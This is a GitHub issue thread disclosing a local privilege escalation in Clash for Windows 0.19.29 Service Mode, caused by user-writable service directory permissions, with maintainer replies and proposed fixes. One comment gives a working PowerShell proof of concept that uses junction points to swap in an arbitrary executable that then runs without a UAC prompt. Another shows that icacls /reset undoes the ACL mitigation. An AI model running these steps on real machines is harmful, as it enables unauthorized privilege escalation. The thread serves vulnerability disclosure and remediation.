clash_for_windows_pkg icon indicating copy to clipboard operation
clash_for_windows_pkg copied to clipboard

[Bug]: Clash For Windows 最新版存在本地权限提升漏洞/Clash For Windows latest version has LPE vulnerability

Open LovelyWei opened this issue 2 years ago • 13 comments

请认真检查以下清单中的每一项

  • [X] 已经搜索过,没有发现类似issue
  • [x] 已经搜索过文档,没有发现相关内容
  • [x] 已经尝试使用过最新版,问题依旧存在
  • [x] 使用的是官方版本(未替换及修改过安装目录程序文件)

软件版本

0.19.29

操作系统

Windows x64

系统版本

Windows 11

问题描述

Windows 上的 clash_for_windows 到 0.19.29 在Service Mode激活时存在本地权限提升漏洞。由于 Service Mode 配置文件目录权限配置错误引起的。

clash_for_windows on Windows to 0.19.29 allows privilege escalation and command execution when Service Mode is activated. This is caused by a clash_for_windows Service Mode profile directory permissions misconfiguration.

复现步骤

https://www.youtube.com/watch?v=5Yqy21jQMAw

日志文件

logs

进入Home Directory/logs文件夹,找到日志文件,将文件拖动至输入框或点击界面左下角小字,将打开文件内容粘贴替换这行

01:39:52 INF [API] listening addr=127.0.0.1:49697 01:39:52 INF [Inbound] Mixed(http+socks) listening addr=127.0.0.1:7890

其他补充

解决方案:参考7Zip image

LovelyWei avatar Sep 05 '22 18:09 LovelyWei

oh god

Esonhugh avatar Sep 05 '22 21:09 Esonhugh

非常感谢,后续版本会对此问题进行修复

Fndroid avatar Sep 06 '22 02:09 Fndroid

oh no

lankylonky22 avatar Sep 08 '22 04:09 lankylonky22

对于 CFW 的需求,也可以去除 WinSW 这层。Task Scheduler 即可实现相同的功能。

Lemmingh avatar Sep 09 '22 02:09 Lemmingh

v0.20.0 对 ACL 的修改无意义。

以下是我之前想的,还是发出来吧。


[^program-files]: 在采用 all users 安装时,可以省去释放。不过,CFW 的安装程序需要相应调整。

[^acl]: 通过编程修改 ACL 是件令人头秃的事情,很多坑。

这个问题看着好尴尬。全都是 NTFS 默认的 inheritance,但 CFW 放了个 service,就变得不妥了。

所有静默提权执行的映像及依赖原则上确实应该放到受保护的位置。考虑 Program Files [^program-files] ,或者释放到 Common Program Files 如何?这样可以尽量回避编辑 ACL [^acl] ,也避免改变 user profile 的期望语义。

另外,我感觉仅保护 CFW 的那个目录无法完全堵上窟窿。Clash 目前的设计恐怕有点违反 Windows 的 integrity control。

Lemmingh avatar Sep 09 '22 03:09 Lemmingh

给个临时的解决方案吧,已安装Service Mode,在拥有管理员权限的CMD下执行 icacls C:\Users\%username%\.config\clash\service /T /C /inheritance:d /remove %username% Everyone

LovelyWei avatar Sep 09 '22 04:09 LovelyWei

@Lemmingh 20.0现在acl也可以比无权限替换掉吗😄

Fndroid avatar Sep 09 '22 04:09 Fndroid

因为你不可能拒掉 owner 的权限。

Lemmingh avatar Sep 09 '22 04:09 Lemmingh

那我下次把它移到program files里吧😄

Fndroid avatar Sep 09 '22 04:09 Fndroid

因为你不可能拒掉 owner 的权限。

干掉目录权限继承就行,不过这样有点不美观...

LovelyWei avatar Sep 09 '22 04:09 LovelyWei

这跟继承 (ACE inheritance) 无关。

Owner 对名下的 object 永远拥有全权实际控制。

User profile 下的 object 的 owner 默认是当前用户。所以,只要这些文件在 user profile 下,怎么改都无法阻止当前用户的 effective access,除非变更 ownership。

Lemmingh avatar Sep 09 '22 05:09 Lemmingh

经 https://github.com/Fndroid/clash_for_windows_pkg/issues/3405#issuecomment-1241505439 提醒,确实有了个新思路,只要在安装 service 前执行就有可能实现:

1. 准备工作

预先准备两个目录

C:\Users\AKAVM> new-item "$home\clash-placeholder", "$home\clash-hijack", "$home\clash-hijack\service" -type directory

    Directory: C:\Users\AKAVM

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          9/9/2022   8:18 PM                clash-placeholder
d-----          9/9/2022   8:18 PM                clash-hijack

    Directory: C:\Users\AKAVM\clash-hijack

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          9/9/2022   8:18 PM                service

clash-hijack\service里面塞点东西,这里我选了个 rufus 便携版 image

2. 使用 junction point 占用 clash config 目录

这步需要保证 clash config 目录没有被占用,时机有很多先按下不表

C:\Users\AKAVM> get-childitem "$home\.config\clash" -exclude "service" | copy-item -destination "$home\clash-placeholder" 
C:\Users\AKAVM> remove-item "$home\.config\clash" -force -recurse -erroraction silentlycontinue
C:\Users\AKAVM> new-item -type junction "$home\.config\clash" -target "$home\clash-placeholder"

    Directory: C:\Users\AKAVM\.config

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----l          9/9/2022   7:09 PM                clash

3. 通过 cfw 安装 service

image 此时 service 已经正常工作

4. service 安装完成后转移文件并重新挂载准备好的 hijack 目录

C:\Users\AKAVM> remove-item "$home\.config\clash" -force -recurse
C:\Users\AKAVM> get-childitem "$home\clash-placeholder" -exclude "service" | copy-item -destination "$home\clash-hijack" 
C:\Users\AKAVM> get-childitem "$home\clash-placeholder\service" -exclude "clash-core-service.exe" | copy-item -destination "$home\clash-hijack\service" 
C:\Users\AKAVM> new-item -type junction "$home\.config\clash" -target "$home\clash-hijack"

    Directory: C:\Users\AKAVM\.config


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----l          9/9/2022   7:21 PM                clash

到这步为止已经成功劫持该目录,并且安装 service 后 cfw 全程处于开启状态 image

5. 最后重启验证效果

image 可以看到 rufus 已经跳过 uac 授权直接启动,以上过程仅 cfw 在安装 service 时申请过特殊权限


而使用program files目录可以避免这个问题

C:\Users\AKAVM> new-item -type junction "C:\Program Files\Common Files\clash" -target "$home\clash-placeholder"
new-item : Access to the path 'clash' is denied.

AkariiinMKII avatar Sep 09 '22 12:09 AkariiinMKII

我再说点废话。

icacls.exe service /reset /T /C

无论 DACL 被改成什么样子,只要当前用户是 owner,无需提权,就能重置整个目录的权限。

PS [21:50:00] Temp:\> (Get-Acl .\service).Access

FileSystemRights  : FullControl
AccessControlType : Deny
IdentityReference : Everyone
IsInherited       : False
InheritanceFlags  : ContainerInherit, ObjectInherit
PropagationFlags  : None


PS [21:50:02] Temp:\> (Get-NTFSEffectiveAccess -Path $(Convert-Path .\service) -Account $env:USERNAME).AccessRights
WARNING: The user does not hold the Security Privliege and might not be able to read the effective permissions
ReadPermissions, ChangePermissions, Synchronize
PS [21:50:08] Temp:\> [System.Security.Principal.WindowsPrincipal]::new([System.Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)
False
PS [21:50:13] Temp:\> icacls.exe service /reset /T /C
processed file: service
processed file: service\clash-core-service.exe
processed file: service\service.exe
processed file: service\service.wrapper.log
processed file: service\service.yml
Successfully processed 5 files; Failed processing 0 files

我也许算是提起过:


  • Standard user (Users group) 有 standard access token。

  • Admin (Administrators group) 有 standard access token 和 administrator access token。

  • Object owner 总是可以修改 permission。

  • Admin 总是可以变更任意 object 的 ownership。

所以,

  • Object owner 修改 DACL 不需要也不可能提权。因为 standard user 仅有 standard token。

  • Object owner 永远拥有全权实际控制。因为他总是可以 change permissions。

  • Admin 对所有 object 永远拥有全权实际控制。因为他们总是可以提权后 take ownership。

Lemmingh avatar Sep 12 '22 14:09 Lemmingh